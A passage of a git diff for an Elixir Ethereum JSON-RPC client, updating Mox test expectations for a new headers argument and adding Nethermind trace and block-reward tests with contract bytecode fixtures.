{:ok, %{body: body, status_code: 200}} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ ":6499" @@ -107,10 +107,10 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do if json_rpc_named_arguments[:transport_options][:http] == EthereumJSONRPC.HTTP.Mox do EthereumJSONRPC.HTTP.Mox - |> expect(:json_rpc, fn _url, _json, _options -> + |> expect(:json_rpc, fn _url, _json, _headers, _options -> {:ok, %{body: "504 Gateway Timeout", status_code: 504}} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ "0xD2849" @@ -141,7 +141,7 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do {:ok, %{body: body, status_code: 200}} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ "0xD2844" @@ -199,10 +199,10 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do if json_rpc_named_arguments[:transport_options][:http] == EthereumJSONRPC.HTTP.Mox do EthereumJSONRPC.HTTP.Mox - |> expect(:json_rpc, fn _url, _json, _options -> + |> expect(:json_rpc, fn _url, _json, _headers, _options -> {:error, :timeout} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ "0xD2849" @@ -233,7 +233,7 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do {:ok, %{body: body, status_code: 200}} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ "0xD2844" @@ -289,11 +289,11 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do transport_options = Keyword.fetch!(json_rpc_named_arguments, :transport_options) http = Keyword.fetch!(transport_options, :http) - url = Keyword.fetch!(transport_options, :url) + url = transport_options |> Keyword.fetch!(:urls) |> List.first() json = Jason.encode_to_iodata!(payload) http_options = Keyword.fetch!(transport_options, :http_options) - assert {:ok, %{body: body, status_code: 413}} = http.json_rpc(url, json, http_options) + assert {:ok, %{body: body, status_code: 413}} = http.json_rpc(url, json, [], http_options) assert body =~ "413 Request Entity Too Large" end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/mox_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/mox_test.exs index 2ad5b8f52c20..f0c4fbaf2d65 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/mox_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/mox_test.exs @@ -21,8 +21,15 @@ defmodule EthereumJSONRPC.MoxTest do describe "fetch_block_number_by_tag/2" do test "with pending with null result", %{json_rpc_named_arguments: json_rpc_named_arguments} do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, nil} + expect(EthereumJSONRPC.Mox, :json_rpc, fn [ + %{ + id: id, + method: "eth_getBlockByNumber", + params: ["pending", false] + } + ], + _options -> + {:ok, [%{id: id, result: nil}]} end) assert {:error, :not_found} = EthereumJSONRPC.fetch_block_number_by_tag("pending", json_rpc_named_arguments) diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/action_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/action_test.exs new file mode 100644 index 000000000000..467a9938bbce --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/action_test.exs @@ -0,0 +1,5 @@ +defmodule EthereumJSONRPC.Nethermind.Trace.ActionTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Nethermind.Trace.Action +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/result_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/result_test.exs new file mode 100644 index 000000000000..cbd19a3a54c1 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace/result_test.exs @@ -0,0 +1,5 @@ +defmodule EthereumJSONRPC.Nethermind.Trace.ResultTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Nethermind.Trace.Result +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace_test.exs new file mode 100644 index 000000000000..5a75a6d2aef2 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind/trace_test.exs @@ -0,0 +1,5 @@ +defmodule EthereumJSONRPC.Nethermind.TraceTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Nethermind.Trace +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind_test.exs new file mode 100644 index 000000000000..0d7eb0ad2988 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/nethermind_test.exs @@ -0,0 +1,616 @@ +defmodule EthereumJSONRPC.NethermindTest do + use ExUnit.Case, async: true + use EthereumJSONRPC.Case + + import EthereumJSONRPC, only: [integer_to_quantity: 1] + import Mox + + alias EthereumJSONRPC.FetchedBeneficiaries + + setup :verify_on_exit! + + doctest EthereumJSONRPC.Nethermind + + @moduletag :no_geth + + describe "fetch_internal_transactions/1" do + test "is not supported", %{json_rpc_named_arguments: json_rpc_named_arguments} do + EthereumJSONRPC.Nethermind.fetch_internal_transactions([], json_rpc_named_arguments) + end + end + + describe "fetch_block_internal_transactions/1" do + test "with all valid block_numbers returns {:ok, transactions_params}", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + gas = 4_533_872 + + init = + "0x6060604052341561000f57600080fd5b60405160208061071a83398101604052808051906020019091905050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600160006001600281111561007e57fe5b60ff1660ff168152602001908152602001600020819055506002600160006002808111156100a857fe5b60ff1660ff168152602001908152602001600020819055505061064a806100d06000396000f30060606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef" + + value = 0 + block_number = 39 + index = 0 + created_contract_address_hash = "0x1e0eaa06d02f965be2dfe0bc9ff52b2d82133461" + + created_contract_code = + "0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029" + + gas_used = 382_953 + trace_address = [] + transaction_hash = "0x0fa6f723216dba694337f9bb37d8870725655bdf2573526a39454685659e39b1" + transaction_index = 0 + type = "create" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, + [ + %{ + id: 0, + result: [ + %{ + "trace" => [ + %{ + "action" => %{ + "from" => from_address_hash, + "gas" => integer_to_quantity(gas), + "init" => init, + "value" => integer_to_quantity(value) + }, + "blockNumber" => block_number, + "index" => index, + "result" => %{ + "address" => created_contract_address_hash, + "code" => created_contract_code, + "gasUsed" => integer_to_quantity(gas_used) + }, + "traceAddress" => trace_address, + "type" => type + } + ], + "transactionHash" => transaction_hash + } + ] + } + ]} + end) + end + + assert EthereumJSONRPC.Nethermind.fetch_block_internal_transactions( + [block_number], + json_rpc_named_arguments + ) == { + :ok, + [ + %{ + block_number: block_number, + created_contract_address_hash: created_contract_address_hash, + created_contract_code: created_contract_code, + from_address_hash: from_address_hash, + gas: gas, + gas_used: gas_used, + index: index, + init: init, + trace_address: trace_address, + transaction_hash: transaction_hash, + type: type, + value: value, + transaction_index: transaction_index + } + ] + } + end + end + + describe "fetch_first_trace/2" do + test "returns {:ok, first_trace_params}", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + gas = 4_533_872 + + init = + "0x6060604052341561000f57600080fd5b60405160208061071a83398101604052808051906020019091905050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600160006001600281111561007e57fe5b60ff1660ff168152602001908152602001600020819055506002600160006002808111156100a857fe5b60ff1660ff168152602001908152602001600020819055505061064a806100d06000396000f30060606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef" + + value = 0 + block_number = 39 + block_hash = "0x74c72ccabcb98b7ebbd7b31de938212b7e8814a002263b6569564e944d88f51f" + index = 0 + created_contract_address_hash = "0x1e0eaa06d02f965be2dfe0bc9ff52b2d82133461" + + created_contract_code = + "0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063247b3210146100935780632ffdfc8a146100bc57806374294144146100f6578063ae4b1b5b14610125578063bf7370d11461017a578063d1104cb2146101a3578063eecd1079146101f8578063fcff021c14610221575b600080fd5b341561009e57600080fd5b6100a661024a565b6040518082815260200191505060405180910390f35b34156100c757600080fd5b6100e0600480803560ff16906020019091905050610253565b6040518082815260200191505060405180910390f35b341561010157600080fd5b610123600480803590602001909190803560ff16906020019091905050610276565b005b341561013057600080fd5b61013861037a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61018d61039f565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b66104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020357600080fd5b61020b610588565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b6102346105bd565b6040518082815260200191505060405180910390f35b600060c8905090565b6000600160008360ff1660ff168152602001908152602001600020549050919050565b61027e6104d9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b757600080fd5b60008160ff161115156102c957600080fd5b6002808111156102d557fe5b60ff168160ff16111515156102e957600080fd5b6000821180156103125750600160008260ff1660ff168152602001908152602001600020548214155b151561031d57600080fd5b81600160008360ff1660ff168152602001908152602001600020819055508060ff167fe868bbbdd6cd2efcd9ba6e0129d43c349b0645524aba13f8a43bfc7c5ffb0889836040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b8414c46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561042f57600080fd5b6102c65a03f1151561044057600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630eaba26a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104b857600080fd5b6102c65a03f115156104c957600080fd5b5050506040518051905091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b3fff16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561056857600080fd5b6102c65a03f1151561057957600080fd5b50505060405180519050905090565b60006105b860016105aa600261059c61039f565b6105e590919063ffffffff16565b61060090919063ffffffff16565b905090565b60006105e06105ca61039f565b6105d261024a565b6105e590919063ffffffff16565b905090565b60008082848115156105f357fe5b0490508091505092915050565b600080828401905083811015151561061457fe5b80915050929150505600a165627a7a723058206b7eef2a57eb659d5e77e45ab5bc074e99c6a841921038cdb931e119c6aac46c0029" + + gas_used = 382_953 + trace_address = [] + transaction_hash = "0x0fa6f723216dba694337f9bb37d8870725655bdf2573526a39454685659e39b1" + transaction_index = 0 + type = "create" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "from" => from_address_hash, + "gas" => integer_to_quantity(gas), + "init" => init, + "value" => integer_to_quantity(value) + }, + "blockNumber" => block_number, + "index" => index, + "result" => %{ + "address" => created_contract_address_hash, + "code" => created_contract_code, + "gasUsed" => integer_to_quantity(gas_used) + }, + "traceAddress" => trace_address, + "type" => type + } + ], + "transactionHash" => transaction_hash + } + } + ]} + end) + end + + assert EthereumJSONRPC.Nethermind.fetch_first_trace( + [ + %{ + hash_data: transaction_hash, + block_hash: block_hash, + block_number: block_number, + transaction_index: transaction_index + } + ], + json_rpc_named_arguments + ) == { + :ok, + [ + %{ + first_trace: %{ + block_number: block_number, + created_contract_address_hash: created_contract_address_hash, + created_contract_code: created_contract_code, + from_address_hash: from_address_hash, + gas: gas, + gas_used: gas_used, + index: index, + init: init, + trace_address: trace_address, + transaction_hash: transaction_hash, + type: type, + value: value, + transaction_index: transaction_index + }, + block_hash: block_hash, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Nethermind + ] + } + ] + } + end + end + + describe "fetch_beneficiaries/1" do + test "with valid block range, returns {:ok, addresses}", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + block_hash = "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca" + block_number = 5_080_887 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + hash1 = "0xef481b4e2c3ed62265617f2e9dfcdf3cf3efc11a" + hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "action" => %{ + "author" => hash1, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash, + "blockNumber" => block_number, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + }, + %{ + "action" => %{ + "author" => hash2, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca", + "blockNumber" => block_number, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + } + ] + } + ]} + end) + end + + assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = + EthereumJSONRPC.Nethermind.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) + + assert Enum.count(params_set) == 2 + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash2, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash1, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + end + + test "with 'external' 'rewardType'", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + block_hash = "0xf19a4ea2bb4f2d8839f4c3ec11e0e86c29d57799d7073713958fe1990e197cf5" + block_number = 5_609_295 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + hash1 = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "action" => %{ + "author" => hash1, + "rewardType" => "external", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash, + "blockNumber" => 5_609_295, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + }, + %{ + "action" => %{ + "author" => hash2, + "rewardType" => "external", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => "0xf19a4ea2bb4f2d8839f4c3ec11e0e86c29d57799d7073713958fe1990e197cf5", + "blockNumber" => 5_609_295, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + } + ] + } + ]} + end) + end + + assert {:ok, %FetchedBeneficiaries{params_set: params_set, errors: []}} = + EthereumJSONRPC.Nethermind.fetch_beneficiaries([5_609_295], json_rpc_named_arguments) + + assert Enum.count(params_set) == 2 + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash1, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash2, + address_type: :emission_funds, + reward: "0xde0b6b3a7640000" + } in params_set + end + + test "with no rewards, returns {:ok, []}", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn requests, _options when is_list(requests) -> + responses = Enum.map(requests, fn %{id: id} -> %{id: id, result: []} end) + {:ok, responses} + end) + + assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = + EthereumJSONRPC.Nethermind.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) + + assert Enum.empty?(params_set) + end + end + + test "ignores non-reward traces", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + block_hash = "0x6659a4926d833a7eab74379fa647ec74c9f5e65f8029552a35264126560f300a" + block_number = 5_077_429 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + hash1 = "0xcfa53498686e00d3b4b41f3bea61604038eebb58" + hash2 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _options -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0x95426f2bc716022fcf1def006dbc4bb81f5b5164", + "gas" => "0x0", + "input" => "0x", + "to" => "0xe797a1da01eb0f951e0e400f9343de9d17a06bac", + "value" => "0x4a817c800" + }, + "blockHash" => block_hash, + "blockNumber" => block_number, + "result" => %{"gasUsed" => "0x0", "output" => "0x"}, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => "0x5acf90f846b8216bdbc309cf4eb24adc69d730bf29304dc0e740cf6df850666e", + "transactionPosition" => 0, + "type" => "call" + }, + %{ + "action" => %{ + "author" => hash1, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash, + "blockNumber" => block_number, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + }, + %{ + "action" => %{ + "author" => hash2, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash, + "blockNumber" => block_number, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + } + ] + } + ]} + end) + end + + assert {:ok, %FetchedBeneficiaries{params_set: params_set}} = + EthereumJSONRPC.Nethermind.fetch_beneficiaries([5_077_429], json_rpc_named_arguments) + + assert Enum.count(params_set) == 2 + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash2, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + + assert %{ + block_number: block_number, + block_hash: block_hash, + address_hash: hash1, + address_type: :validator, + reward: "0xde0b6b3a7640000" + } in params_set + end + + test "with multiple blocks with repeat beneficiaries", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + block_hash1 = "0xd2170e27857452d130128ac94c5258828a22cc69b07ab6e7fc12f7dd9938ff1c" + block_number1 = 5_080_886 + block_quantity1 = EthereumJSONRPC.integer_to_quantity(block_number1) + + block_hash2 = "0x52a8d2185282506ce681364d2aa0c085ba45fdeb5d6c0ddec1131617a71ee2ca" + block_number2 = 5_080_887 + block_quantity2 = EthereumJSONRPC.integer_to_quantity(block_number2) + + hash1 = "0xadc702c4bb09fbc502dd951856b9c7a1528a88de" + hash2 = "0xef481b4e2c3ed62265617f2e9dfcdf3cf3efc11a" + hash3 = "0x523b6539ff08d72a6c8bb598af95bf50c1ea839c" + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn requests, _options when is_list(requests) -> + responses = + Enum.map(requests, fn + %{id: id, params: [^block_quantity1]} -> + %{ + id: id, + result: [ + %{ + "action" => %{ + "author" => hash1, + "rewardType" => "block", + "value" => "0xde0b6b3a7640000" + }, + "blockHash" => block_hash1, + "blockNumber" => block_number1, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [], + "transactionHash" => nil, + "transactionPosition" => nil, + "type" => "reward" + }, + %{ + "action" => %{ + 